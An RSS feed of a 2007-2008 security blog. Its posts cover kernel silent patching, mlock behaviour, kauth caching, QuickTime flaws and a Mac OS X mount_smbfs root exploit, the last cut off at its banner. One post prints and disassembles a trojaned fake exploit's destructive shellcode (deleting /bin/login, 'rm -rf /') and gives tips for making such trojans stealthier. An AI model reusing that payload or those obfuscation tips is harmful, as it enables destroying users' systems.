<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/rss2full.xsl" type="text/xsl" media="screen"?><?xml-stylesheet href="http://feeds.feedburner.com/~d/styles/itemcontent.css" type="text/css" media="screen"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:creativeCommons="http://backend.userland.com/creativeCommonsRssModule" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>Subreption blog</title>
	
	<link>http://blog.subreption.com</link>
	<description>A surreptitious look over the work of an innovative startup</description>
	<pubDate>Sat, 19 Jul 2008 20:44:24 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<creativeCommons:license>http://creativecommons.org/licenses/by-nc-nd/3.0/</creativeCommons:license><image><link>http://blog.subreption.com/</link><url>http://blog.subreption.com/wp-content/themes/subreption2/images/banner.png</url><title>Subreption LLC</title></image><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" href="http://feeds.feedburner.com/SubreptionBlog" type="application/rss+xml" /><feedburner:emailServiceId>1426435</feedburner:emailServiceId><feedburner:feedburnerHostname>http://www.feedburner.com</feedburner:feedburnerHostname><item>
		<title>Linux kernel developers silently patching issues? No way!</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/340169639/</link>
		<comments>http://blog.subreption.com/2008/07/19/linux-kernel-developers-silently-patching-issues-no-way/#comments</comments>
		<pubDate>Sat, 19 Jul 2008 20:39:09 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Lies and silence]]></category>

		<category><![CDATA[Open Source]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[annoying]]></category>

		<category><![CDATA[kernel]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[lists]]></category>

		<category><![CDATA[silent patching]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/?p=55</guid>
		<description><![CDATA[Alright, this might be the first article on the &#8220;Silent Patches&#8221; series, starting today and possibly lasting&#8230; forever. So, let&#8217;s get to the business. Brad &#8220;spender&#8221; Spengler is pissed, and that&#8217;s already a bad thing for the many people that knowingly or not, take advantage of his work and that from the guy or guys [...]]]></description>
			<content:encoded><![CDATA[<p>Alright, this might be the first article on the &#8220;Silent Patches&#8221; series, starting today and possibly lasting&#8230; forever. So, let&#8217;s get to the business. <a href="http://www.crmbuyer.com/story/39565.html">Brad &#8220;spender&#8221; Spengler is pissed</a>, and that&#8217;s already a bad thing for the many people that knowingly or not, take advantage of his work and that from the guy or guys behind PaX, to be referred as <a href="http://pax.grsecurity.net/docs/aslr.txt">The PaX Team</a>, or Those Smart Guys Teaching Security On LKML.</p>
<p>spender and the PaX Team have possibly contributed the <strong>most important advances</strong> in proactive defense technology for the past decade. <a href="http://pax.grsecurity.net/docs/aslr.txt">ASLR</a> was there before it became a marketing <strong>buzzword</strong>, <a href="http://pax.grsecurity.net/docs/pageexec.txt">NX</a> and <a href="http://pax.grsecurity.net/docs/mprotect.txt">memory protections enforcement</a> existed way before Red Hat <a href="http://lists.immunityinc.com/pipermail/dailydave/2007-May/004340.html">pushed</a> <a href="http://kerneltrap.org/node/4590">ExecShield</a> to the Linux kernel and TCP &amp; <a href="http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=32c1da70810017a98aa6c431a5494a302b6b9a30">UDP source port randomization</a> have been known for a while (even though now they seem to be the world&#8217;s new internet superheroes with all this DNS <a href="http://en.wikipedia.org/wiki/The_End_Is_Nigh">the-end-is-nigh</a> media frenzy).</p>
<p>If you have used grsecurity in the past few years, you&#8217;ve used what Microsoft, Apple and Red Hat pretended to <strong>market</strong> as <em>brand new</em> technology baked in their very own development cubicles.</p>
<p>The story now is how the Linux kernel developers managed to absolutely and irremediably piss off the very same people that fed them with security research and technology that <strong>really worked as expected</strong>. The very same people that have <strong>patched upstream vulnerabilities</strong> in their &#8220;<em>third-party patches</em>&#8220;.</p>
<p>Back in 2005 (see [1]) this was <strong>already</strong> happening. The fact that now we have a <a href="http://git.kernel.org/?p=linux%2Fkernel%2Fgit%2Ftorvalds%2Flinux-2.6.git;a=summary">handy git interface</a> where we can retrieve commit logs without difficulty just helps to pinpoint the silently patched issues and identify potentially hot issues.</p>
<p>Our take on this fracas is that spender and the PaX Team are rock-solid consistent with their arguments, and that the Linux kernel development people should definitely change their alleged full-disclosure policy text with one more <strong>accurate</strong> <strong>according</strong> to their true practices.</p>
<ol>
<li><a href="http://lwn.net/Articles/118251/" target="_blank">grsecurity 2.1.0 release / 5 Linux kernel advisories</a> (LWN)</li>
<li><a href="http://lists.immunityinc.com/pipermail/dailydave/2007-May/004340.html">What RedHat doesn&#8217;t want you to know about ExecShield (without NX)</a> (Dailydave, May 2007)</li>
<li><a href="http://lists.immunitysec.com/pipermail/dailydave/2008-July/005167.html">Linux&#8217;s unofficial security-through-coverup policy</a> (Dailydave, July 2008)</li>
<li><a href="http://it.slashdot.org/it/08/07/17/1242220.shtml">Linux&#8217;s Security Through Obscurity</a> (Slashdot, July 2008)</li>
</ol>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=CKIGCg"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=CKIGCg" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/340169639" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2008/07/19/linux-kernel-developers-silently-patching-issues-no-way/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2008/07/19/linux-kernel-developers-silently-patching-issues-no-way/</feedburner:origLink></item>
		<item>
		<title>CVE-2007-0015 and reliable attack vectors</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/265222707/</link>
		<comments>http://blog.subreption.com/2008/04/06/cve-2007-0015-and-reliable-attack-vectors/#comments</comments>
		<pubDate>Sun, 06 Apr 2008 19:04:48 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[decisions]]></category>

		<category><![CDATA[exploits]]></category>

		<category><![CDATA[old days]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/?p=54</guid>
		<description><![CDATA[
When CVE-2007-0015 was published by the Month of Apple Bugs team, their exploit used a QTL Quicktime playlist file for triggering the bug. Whether their decision was because of preventing the exploit from being used &#8220;en masse&#8221; or simply for testing a different, less classic attack vector, it&#8217;s still worth noting that it could have [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://blog.subreption.com/wp-content/uploads/2008/04/picture-1.png"><img class="aligncenter size-medium wp-image-53" title="CVE-2007-0015 on Mac OS X Tiger 10.4.6" src="http://blog.subreption.com/wp-content/uploads/2008/04/picture-1-300x248.png" alt="CVE-2007-0015 on Mac OS X Tiger 10.4.6" width="300" height="248" /></a></p>
<p style="text-align: left;">When <a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-0015">CVE-2007-0015</a> was published by the Month of Apple Bugs team, their exploit used a QTL Quicktime playlist file for triggering the bug. Whether their decision was because of preventing the exploit from being used &#8220;<em>en masse</em>&#8221; or simply for testing a different, less classic attack vector, it&#8217;s still worth noting that it could have worked far more efficiently via Safari, since Quicktime supports embedding playlist files and the Safari process address space would be easily subverted to ensure a higher degree of reliability when executing our payload.</p>
<p style="text-align: left;">Sometimes it&#8217;s good to remember old flaws, and improve old exploit code. Sometimes it&#8217;s even better to use new attack vectors on old flaws, too.</p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=s8k9qz"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=s8k9qz" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/265222707" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2008/04/06/cve-2007-0015-and-reliable-attack-vectors/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2008/04/06/cve-2007-0015-and-reliable-attack-vectors/</feedburner:origLink></item>
		<item>
		<title>Memory locking behavior issues</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/255925359/</link>
		<comments>http://blog.subreption.com/2008/03/21/memory-locking-behavior-issues/#comments</comments>
		<pubDate>Sat, 22 Mar 2008 05:29:22 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Coding]]></category>

		<category><![CDATA[Cryptography]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[code review]]></category>

		<category><![CDATA[kernel]]></category>

		<category><![CDATA[mac]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2008/03/21/memory-locking-behavior-issues/</guid>
		<description><![CDATA[This is nothing new, and it&#8217;s strictly what the POSIX specification warns about mlock() &#38; munlock(). As you may already know, mlock() locks memory to prevent it from being swapped to disk (for example, if you require cryptographic secrets such as encryption keys to be memory resident during system stress, preventing resilience on disk and [...]]]></description>
			<content:encoded><![CDATA[<p>This is nothing new, and it&#8217;s strictly what <a href="http://www.opengroup.org/onlinepubs/007908775/xsh/mlock.html">the POSIX specification warns</a> about <code>mlock()</code> &amp; <code>munlock()</code>. As you may already know, <code>mlock()</code> locks memory to prevent it from being swapped to disk (for example, if you require cryptographic secrets such as encryption keys to be memory resident during system stress, preventing resilience on disk and other media). <code>munlock()</code> does exactly the opposite: it unlocks memory.</p>
<p>The problem is that both functions don&#8217;t necessarily work in the same manner across different implementations. The address parameter to both might be required to be page-aligned (rounded up to the size of a memory page, for example 4096 bytes in x86).</p>
<p>What happens if we supply a non-page aligned memory address? If the implementation rounds up by default, we will be either locking a whole page or unlocking it, if we use <code>mlock()</code> or <code>munlock()</code> respectively.  That means all the memory contents within the same page will be affected. This might not be an issue during locking, but when you are unlocking, it&#8217;s a different situation&#8230; we might expose data that was supposed to remain locked and compromise other secrets.</p>
<p><span id="more-49"></span><br />
The only solution to this issue is to have a consensus between vendors and implement the same behavior. That, or design and develop your own secure memory pool <img src='http://blog.subreption.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> !</p>
<p>To illustrate this post, you can see below <a href="http://fxr.watson.org/fxr/source/bsd/kern/kern_mman.c?v=xnu-1228#L973">the implementation for Mac OS X Leopard</a> (10.5):</p>
<pre>
972 int
973 mlock(__unused proc_t p, struct mlock_args *uap, __unused register_t *retvalval)
974 {
975         vm_map_t user_map;
976         vm_map_offset_t addr;
977         vm_map_size_t size, pageoff;
978         kern_return_t   result;
979
--
982
983         addr = (vm_map_offset_t) uap-&gt;addr;
984         size = (vm_map_size_t)uap-&gt;len;
985
986         /* disable wrap around */
987         if (addr + size &lt; addr)
988                 return (EINVAL);
989
990         if (size == 0)
991                 return (0);
992
993         pageoff = (addr &amp; PAGE_MASK);
994         addr -= pageoff;
995         size = vm_map_round_page(size+pageoff);
996         user_map = current_map();</pre>
<p style="text-align: center"><img src="http://blog.subreption.com/wp-content/uploads/2008/03/pagelocking.png" alt="mlock() behavior in Mac OS X Leopard" /></p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=cCfZVT"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=cCfZVT" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/255925359" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2008/03/21/memory-locking-behavior-issues/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2008/03/21/memory-locking-behavior-issues/</feedburner:origLink></item>
		<item>
		<title>Security decisions from the past: to cache or not to cache</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/255340161/</link>
		<comments>http://blog.subreption.com/2008/03/20/security-decisions-from-the-past-to-cache-or-not-to-cache/#comments</comments>
		<pubDate>Fri, 21 Mar 2008 04:52:28 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[hips]]></category>

		<category><![CDATA[kernel]]></category>

		<category><![CDATA[mac]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2008/03/20/security-decisions-from-the-past-to-cache-or-not-to-cache/</guid>
		<description><![CDATA[We haven&#8217;t been abducted, yet. While working on an interesting research project, we found something about Apple&#8217;s Kernel Authorization framework that might be a bit odd. From their documentation:
When writing a vnode scope listener, be aware that not every file system operation will trigger an authorization request. For example, if an actor successfully requests KAUTH_VNODE_SEARCH [...]]]></description>
			<content:encoded><![CDATA[<p>We haven&#8217;t been abducted, yet. While working on an interesting research project, we found something about Apple&#8217;s <a href="http://developer.apple.com/technotes/tn2005/tn2127.html">Kernel Authorization</a> framework that might be a bit odd. From their documentation:</p>
<blockquote><p>When writing a vnode scope listener, be aware that not every file system operation will trigger an authorization request. For example, if an actor successfully requests <code>KAUTH_VNODE_SEARCH</code> on a directory, the system <strong>may cache</strong> that result and grant future requests <strong>without invoking your listener</strong> for each one.</p></blockquote>
<p>Albeit we haven&#8217;t verified this any further, it&#8217;s at very least interesting. Does that mean that a security decision might be cached and applied again under potentially circumstances? Huh. It&#8217;s true that a vnode scope listener can be one hell of a performance black-hole, but race conditions due to cached decisions is worse than slowing down file system operations, especially if the module overrides other policies.</p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=YOsJuq"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=YOsJuq" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/255340161" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2008/03/20/security-decisions-from-the-past-to-cache-or-not-to-cache/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2008/03/20/security-decisions-from-the-past-to-cache-or-not-to-cache/</feedburner:origLink></item>
		<item>
		<title>NetBSD, architecture-dependent issues and forthcoming projects</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/221224447/</link>
		<comments>http://blog.subreption.com/2008/01/22/netbsd-architecture-dependent-issues-and-forthcoming-projects/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 21:23:26 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Coding]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[code review]]></category>

		<category><![CDATA[netbsd]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2008/01/22/netbsd-architecture-dependent-issues-and-forthcoming-projects/</guid>
		<description><![CDATA[We&#8217;ve been talking to a kernel developer of the NetBSD project (probably the most portable operating system out there), regarding its security status and some potential enhancements.
While reading through the secmodel securelevel source, we spotted this interesting snippet:

case KAUTH_REQ_SYSTEM_TIME_SYSTEM: {

 struct timespec *ts = arg1;
 struct timeval *delta = arg2;

/*
  * Don't allow the [...]]]></description>
			<content:encoded><![CDATA[<p>We&#8217;ve been talking to a kernel developer of the <a href="http://netbsd.org/">NetBSD project</a> (probably the most portable operating system out there), regarding its security status and some potential enhancements.</p>
<p>While reading through the <a href="http://nxr.netbsd.org/source/xref/sys/secmodel/securelevel/secmodel_securelevel.c#203">secmodel securelevel source</a>, we spotted this interesting snippet:</p>
<pre>
case KAUTH_REQ_SYSTEM_TIME_SYSTEM: {

 struct timespec *ts = arg1;
 struct timeval *delta = arg2;

/*
  * Don't allow the time to be set forward so far it will wrap
  * and become negative, thus allowing an attacker to bypass
  * the next check below.  The cutoff is 1 year before rollover
  * occurs, so even if the attacker uses adjtime(2) to move
  * the time past the cutoff, it will take a very long time
  * to get to the wrap point.
  *
  * XXX: we check against INT_MAX since on 64-bit
  *      platforms, sizeof(int) != sizeof(long) and
  *      time_t is 32 bits even when atv.tv_sec is 64 bits.
  */

 if (securelevel &gt; 1 &amp;&amp;
     ((ts-&gt;tv_sec &gt; INT_MAX - 365*24*60*60) ||
      (delta-&gt;tv_sec &lt; 0 || delta-&gt;tv_usec &lt; 0)))
 	result = KAUTH_RESULT_DENY;

break;
}</pre>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=qsbKG9"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=qsbKG9" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/221224447" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2008/01/22/netbsd-architecture-dependent-issues-and-forthcoming-projects/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2008/01/22/netbsd-architecture-dependent-issues-and-forthcoming-projects/</feedburner:origLink></item>
		<item>
		<title>QA Hell: Quicktime again!</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/221222528/</link>
		<comments>http://blog.subreption.com/2008/01/22/qa-hell-quicktime-again/#comments</comments>
		<pubDate>Tue, 22 Jan 2008 21:19:48 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[annoying]]></category>

		<category><![CDATA[exploits]]></category>

		<category><![CDATA[mac]]></category>

		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2008/01/22/qa-hell-quicktime-again/</guid>
		<description><![CDATA[Even if time for keeping this blog updated is becoming rather scarce, we couldn&#8217;t resist publishing a note about Quicktime again. It was on the news some time ago, due to another simple, classical stack buffer overflow flaw. It was related with RTSP interfaces again.
Our exploit pack already provides a reliable exploit against this and [...]]]></description>
			<content:encoded><![CDATA[<p>Even if time for keeping this blog updated is becoming rather scarce, we couldn&#8217;t resist publishing a note about <a href="http://www.news.com/8301-10789_3-9848981-57.html?tag=blg.orig">Quicktime again</a>. It was <a href="http://www.heise-security.co.uk/news/101662">on the news</a> some time ago, due to another simple, classical stack buffer overflow flaw. It was related with RTSP interfaces again.</p>
<p>Our exploit pack already provides a reliable exploit against this and other recent flaws, and there&#8217;s no real exploit for this flaw publicly available (in terms of quality and reliability). It&#8217;s <em>quite</em> possible that so-called drive-by malware installation kits are making use of this flaw to infect unsuspecting users.</p>
<p>We expected Apple to perform some due diligence with Quicktime&#8217;s QA, since the last real 1990 style flaws have been all related to RTSP functionality, but looks like they are still missing some guidance. Hopefully it won&#8217;t take long for them to realize that something like SDL could significantly improve their product security.</p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=pQTVqx"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=pQTVqx" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/221222528" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2008/01/22/qa-hell-quicktime-again/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2008/01/22/qa-hell-quicktime-again/</feedburner:origLink></item>
		<item>
		<title>Fake exploits: probably necessary</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/204357839/</link>
		<comments>http://blog.subreption.com/2007/12/21/fake-exploits-probably-necessary/#comments</comments>
		<pubDate>Sat, 22 Dec 2007 00:59:06 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Security]]></category>

		<category><![CDATA[exploits]]></category>

		<category><![CDATA[fun]]></category>

		<category><![CDATA[lists]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2007/12/21/fake-exploits-probably-necessary/</guid>
		<description><![CDATA[Yesterday, a message surfaced in full-disclosure, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly accidental release to the public eye of a remote Subversion exploit (which already [...]]]></description>
			<content:encoded><![CDATA[<p>Yesterday, <a href="http://seclists.org/fulldisclosure/2007/Dec/0514.html">a message surfaced in full-disclosure</a>, the mostly always funny and chaotic unmoderated security-related list (although the nature of the list these days is ambiguous, it remains as a free alternative to commercially sponsored and more supervised alternatives). It was a supposedly <em>accidental</em> release to the public eye of a remote Subversion exploit (which already seems enough dubious):</p>
<pre>/*
 * This exploits a wierd state condition in Subversion &lt; = 1.4.4.
 * When the incoming connection stack is filled via many incoming
 * syns in concurance with shifting the rev_ptr struct over a
 * variable gap of memory a boundary condition occurs which corrupts
 * a func ptr to point several bytes backwards. A call is forced
 * through "checkout-latest-rev" with our shellcode in place.
 *
 * This Vuln is NOT public, do NOT release this code or any
 * information pertaining to this bug.
 *
 * Author: onionring
 */</pre>
<p>Behind a serious sounding description, there&#8217;s really nothing technically valid. It&#8217;s just &#8220;mumbo jumbo&#8221; to make it apparently legitimate to any potential user of the exploit (in this case, more than one security guy has probably attempted to use it).</p>
<p>We have a seemingly normal IA32 shellcode (except for the hardcoded NOP sled which is not so stylish):</p>
<pre>char sc[] =
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
...
  "\x31\xC0\x89\xC3\x89\xC1\x41\xB0\x30\xCD\x80\x31\xC0\xFE\xC3\x80"
  "\xFB\x1F\x72\xF3\x04\x40\xCD\x80\x89\xC2\x31\xC0\xB0\x02\xCD\x80"
  "\x39\xC0\x74\x08\x31\xC0\x89\xC3\xB0\x01\xCD\x80\x31\xC0\xB0\x42"
  "\xCD\x80\x43\x39\xDA\x74\x08\x89\xD3\x31\xC0\x04\x25\xCD\x80\x31"
  "\xC0\x50\x68\x6F\x67\x69\x6E\x68\x69\x6E\x2F\x6C\x68\x2F\x2F\x2F"
  "\x62\x89\xE3\x31\xC0\x04\x0A\xCD\x80\x31\xC0\x50\x68\x2A\x2F\x2F"
  "\x2F\x89\xE2\x50\x68\x2D\x72\x66\x66\x89\xE1\x50\x68\x6E\x2F\x72"
  "\x6D\x68\x2F\x2F\x62\x69\x89\xE3\x50\x52\x51\x53\x89\xE1\x31\xD2"
  "\x04\x0B\xCD\x80";</pre>
<p>Let&#8217;s take a look over the disassembly and strings. We notice a call to the <code>signal()</code> system call:</p>
<pre>From include/asm-i386/unistd.h
#define __NR_signal              48

From include/asm-generic/signal.h
/* ignore signal */
#define SIG_IGN ((__force __sighandler_t)1)

From include/asm-i386/signal.h
#define SIGHUP           1

00000030  31C0              xor eax,eax
00000032  89C3              mov ebx,eax
00000034  89C1              mov ecx,eax
00000036  41                inc ecx
00000037  B030              mov al,0x30
00000039  CD80              int 0x80</pre>
<p><span id="more-44"></span></p>
<p>Later it issues a <code>fork()</code> call and, as <a href="http://seclists.org/fulldisclosure/2007/Dec/0516.html">a reply in full-disclosure thread</a>, seems to be part of a typical <code>fork()</code> bomb procedure.</p>
<p>That&#8217;s rather uninteresting anyway, except for the fact that its intention is likely to render the machine <strong>unusable</strong> while the real harmful (or fun, depending if you are watching someone run it, or you are running it yourself in an unprotected environment <img src='http://blog.subreption.com/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) part is executed.</p>
<pre>0000006F  31C0              xor eax,eax
00000071  50                push eax
00000072  686F67696E        push dword 0x6e69676f
00000077  68696E2F6C        push dword 0x6c2f6e69
0000007C  682F2F2F62        push dword 0x622f2f2f
00000081  89E3              mov ebx,esp
00000083  31C0              xor eax,eax
00000085  040A              add al,0xa
00000087  CD80              int 0x80</pre>
<p>There you go. This annoyance is nothing but an <code>unlink()</code> call to remove the <code>/bin/login</code> file. The situation is aggravated by the fact that the fake exploit, using raw sockets as excuse, requires root privileges to run:</p>
<pre> if (getuid() != 0) {
    fprintf(stderr, "[E] Need root privs for raw sockets\n");
    exit(1);
  }</pre>
<p>And finally the mandatory <code>execve()</code> of <code>/bin/rm -rf /</code>, which is typical in these cases.</p>
<pre>00000089  31C0              xor eax,eax
0000008B  50                push eax
0000008C  682A2F2F2F        push dword 0x2f2f2f2a
00000091  89E2              mov edx,esp
00000093  50                push eax
00000094  682D726666        push dword 0x6666722d
00000099  89E1              mov ecx,esp
0000009B  50                push eax
0000009C  686E2F726D        push dword 0x6d722f6e
000000A1  682F2F6269        push dword 0x69622f2f
000000A6  89E3              mov ebx,esp
000000A8  50                push eax
000000A9  52                push edx
000000AA  51                push ecx
000000AB  53                push ebx
000000AC  89E1              mov ecx,esp
000000AE  31D2              xor edx,edx
000000B0  040B              add al,0xb
000000B2  CD80              int 0x80</pre>
<p>You can use the <a href="http://fxr.watson.org/">watson.org LXR installation</a> for <a href="http://fxr.watson.org/fxr/source/include/asm-i386/unistd.h?v=linux-2.6">looking up system call numbers</a>, and other constants. The disassembly is clear and easy to interpret, it shouldn&#8217;t be a problem to understand what&#8217;s going on.</p>
<p><strong>Why are fake exploits necessary?</strong> They usually catch script kiddies and other annoying people, and the technically skilled guys won&#8217;t bother running them without inspection (there are exceptions, though <img src='http://blog.subreption.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> ). They serve as great jokes,  even if some can cause significant damage to the system (unless you run them inside a hardened <code>chroot</code> environment, with a solid patch like <a href="http://www.grsecurity.net">grsecurity</a> that prevents several techniques to break out of the <code>chroot</code>).</p>
<p>How to make them <strong>more subtle and reliable</strong>? Some simple tips:</p>
<ol>
<li>XOR is simple, your shellcode should make use of encoded strings. The very first thing most people do is run <code>strings</code> against your exploit in compiled form.
<ol>
<li>Even better, encode the whole shellcode. Metasploit can help you there <img src='http://blog.subreption.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
</ol>
</li>
<li>Quite some script kiddies know how to patch and compile a kernel. They can use Gentoo, and they could be aware of the existence of something wonderful known as <a href="http://pax.grsecurity.net">PaX</a>. A fake exploit that relies on overflowing a stack-based buffer of its own (in other words, attempting to exploit itself) might not work in some cases.
<ol>
<li>Use a subtle pointer reassignment.</li>
<li>Use a <code>signal</code> handler.</li>
<li>Obfuscate the calls via macros&#8230;</li>
<li><code>mprotect()</code> is your friend. Make it subtle, though.</li>
</ol>
</li>
<li>People will be much more careful with an exploit that requires root privileges to run. And the raw sockets trick has been used way too much already. You really don&#8217;t need to be root to do real damage.</li>
</ol>
<p>There have been more elaborated fake exploits released to the public and distributed through legitimate FTP servers. <a href="http://www.google.com/search?q=wu261.c">One of them</a> was <a href="http://www.globus.org/mail_archive/discuss/2001/Archive/msg01712.html">wu261.c</a>, in <a href="http://archives.neohapsis.com/archives/vuln-dev/2001-q3/0838.html">2001</a>.</p>
<blockquote><p><font face="arial" size="2"><em>&gt;Hey, I&#8217;m told that this exploit like eats your hard drive or something. </em><br />
<em>&gt;Caveat emptor and all, but I figured since I actually heard about this, </em><br />
<em>&gt;I&#8217;d let you know.  I guess it&#8217;s a spoofed note. </em><br />
<em>&gt;					BB  </em></font></p></blockquote>
<p>Side note: <a href="http://lcamtuf.coredump.cx/">Michal Zalewski</a> (lcamtuf, working now for Google) <a href="http://lcamtuf.coredump.cx/soft/fakebust.tgz">released back in 2004</a> a tool to aid in detection of fake exploits, known as &#8220;<a href="http://www.securiteam.com/tools/6R0061FBFY.html">fakebust</a>&#8220;.</p>

<p><a href="http://feeds.feedburner.com/~a/SubreptionBlog?a=XgrNMw"><img src="http://feeds.feedburner.com/~a/SubreptionBlog?i=XgrNMw" border="0"></img></a></p><img src="http://feeds.feedburner.com/~r/SubreptionBlog/~4/204357839" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://blog.subreption.com/2007/12/21/fake-exploits-probably-necessary/feed/</wfw:commentRss>
		<feedburner:origLink>http://blog.subreption.com/2007/12/21/fake-exploits-probably-necessary/</feedburner:origLink></item>
		<item>
		<title>Our last public (Apple Mac OS X) exploit of the year: mount_smbfs</title>
		<link>http://feeds.feedburner.com/~r/SubreptionBlog/~3/203062255/</link>
		<comments>http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/#comments</comments>
		<pubDate>Thu, 20 Dec 2007 00:12:31 +0000</pubDate>
		<dc:creator>Subreption Team</dc:creator>
		
		<category><![CDATA[Apple]]></category>

		<category><![CDATA[Our news]]></category>

		<category><![CDATA[Security]]></category>

		<category><![CDATA[exploits]]></category>

		<category><![CDATA[mac]]></category>

		<category><![CDATA[news]]></category>

		<category><![CDATA[subreption]]></category>

		<guid isPermaLink="false">http://blog.subreption.com/2007/12/19/our-last-public-apple-mac-os-x-exploit-of-the-year-mount_smbfs/</guid>
		<description><![CDATA[We are happy to announce the availability of a 100% reliable exploit against CVE-2007-3876, the mount_smbfs argument stack-based buffer overflow. Using the shared_region_map_file_np() system call, we map a file containing shellcode at a fixed location, with write, read and execute permissions (VM_PROT_EXECUTE&#124;VM_PROT_READ&#124;VM_PROT_WRITE). This technique was first documented publicly in a Phrack article by nemo, and [...]]]></description>
			<content:encoded><![CDATA[<p>We are happy to announce the availability of a 100% reliable exploit against <a href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2007-3876">CVE-2007-3876</a>, the <code>mount_smbfs</code> argument stack-based buffer overflow. Using the <code>shared_region_map_file_np()</code> system call, we map a file containing shellcode at a fixed location, with write, read and execute permissions (<code>VM_PROT_EXECUTE|VM_PROT_READ|VM_PROT_WRITE</code>). This technique was first documented publicly in a <a href="http://phrack.org/issues.html?issue=64&amp;id=11#article">Phrack article by nemo</a>, and has been partially restricted in Leopard.<br />
On an unpatched Mac OS X 10.4 installation (only without the update fixing this problem) it will allow any user to gain root privileges.</p>
<pre>$ ./mount_smbfs_root
Mac OS X 10.4.10, 10.4.11 mount_smbfs Local Root exploit
